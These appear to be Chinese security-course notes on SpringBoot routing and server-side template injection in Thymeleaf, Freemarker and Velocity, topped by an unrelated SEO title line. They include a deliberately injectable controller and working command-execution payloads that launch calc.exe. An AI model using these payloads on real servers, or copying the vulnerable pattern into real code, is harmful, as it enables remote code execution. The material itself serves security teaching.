企业做网站做什么科目头条收录提交入口
知识点：
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
一、演示案例-WEB开发-JavaEE-开发框架-SpringBoot&路由&传参
类似于php语言中的thinkphp，不过要更加优秀。
参考：https://springdoc.cn/spring-boot/
1、路由映射
@RequestMapping @GetMapping等
2、参数传递
@RequestParam
3、数据响应
@RestController @Controller(请求)
@RestController注解相当于@ResponseBody(响应)＋@Controller(请求)合作用。
二、演示案例-WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
Thymeleaf
参考：https://xz.aliyun.com/news/9962
1、新建SpringBoot项目包含Web,Thymeleaf
2、配置application.properties修改缓存
3、创建模版目录和文件，文件定义修改变量
4、新建Controller目录及文件，指定路由配置
5、更换SpringBoot及Thymeleaf版本测试POC
@Controller
public class IndexController {@RequestMapping("/index")public String index(Model model) {
//替换模版html文件中的data变量值
model.addAttribute("data", "你好 小迪");
//使用index模版文件return "index";}
@RequestMapping("/indexs")public String index(Model model,@RequestParam String lang) {
//替换模版html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模版文件return "index-"+lang;}
}
利用条件：Thymeleaf漏洞版本，可控渲染模版文件
Poc：__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
Freemarker
参考：https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew
1、新建SpringBoot项目包含Web,Freemarker
2、配置application.properties修改缓存
3、创建模版目录和文件，文件定义修改变量
4、新建Controller目录及文件，指定路由配置
5、更换SpringBoot及Freemarker版本测试POC
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签利用条件：可控渲染的模版文件
Velocity
参考：https://blog.csdn.net/2401_83799022/article/details/141600988
<dependency><groupId>org.apache.velocity</groupId><artifactId>velocity</artifactId><version>1.7</version>
</dependency>
Poc：%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
利用条件：Velocity漏洞版本，可控模版变量或文件
